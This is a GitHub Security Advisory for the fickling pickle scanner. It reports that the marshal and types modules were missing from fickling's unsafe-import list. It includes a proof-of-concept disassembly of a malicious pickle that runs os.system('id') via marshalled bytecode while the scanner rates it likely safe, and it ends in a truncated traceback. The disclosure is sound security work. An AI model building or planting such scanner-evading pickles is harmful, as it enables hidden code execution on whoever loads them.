GitHub Security Advisory: GHSA-565g-hwwr-4pp3
Package: fickling (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.1.6
Patched in: 0.1.6

Summary: Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

Details:
## Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.

## Original report

### Summary
There's missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

### Details
Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

### PoC
The following is a disassembled view of a malicious pickle file that uses these modules:
```
    0: \x80 PROTO      4
    2: \x95 FRAME      0
   11: \x8c SHORT_BINUNICODE 'marshal'
   20: \x8c SHORT_BINUNICODE 'loads'
   27: \x93 STACK_GLOBAL
   28: \x94 MEMOIZE    (as 0)
   29: h    BINGET     0
   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
  198: \x85 TUPLE1
  199: R    REDUCE
  200: \x94 MEMOIZE    (as 1)
  201: \x8c SHORT_BINUNICODE 'types'
  208: \x8c SHORT_BINUNICODE 'FunctionType'
  222: \x93 STACK_GLOBAL
  223: \x94 MEMOIZE    (as 2)
  224: h    BINGET     2
  226: h    BINGET     1
  228: }    EMPTY_DICT
  229: \x86 TUPLE2
  230: R    REDUCE
  231: \x94 MEMOIZE    (as 3)
  232: h    BINGET     3
  234: )    EMPTY_TUPLE
  235: R    REDUCE
  236: \x94 MEMOIZE    (as 4)
  237: \x8c SHORT_BINUNICODE 'gottem'
  245: b    BUILD
  246: .    STOP
 ```

When analyzing this modified file, safety_result.json shows:
```
{
    "severity": "LIKELY_SAFE",
    "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
    "detailed_results": {}
}
```

Furthermore, when we run `fickling -s <path_to_malicious_file>`, we also encounter this error:
```
Traceback (most recent call last):
  File "<path>/fickling", line 7, in <module>
    sys.exit(main())
             ^^^^^^
  File "<path>/fickling/cli.py", line 163, in main
    safety_results = check_safety(pickled, json_output_path=json_output_path)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 408, in check_safety
    results = analyzer.analyze(pickled)
              ^^^^^^^^^^^^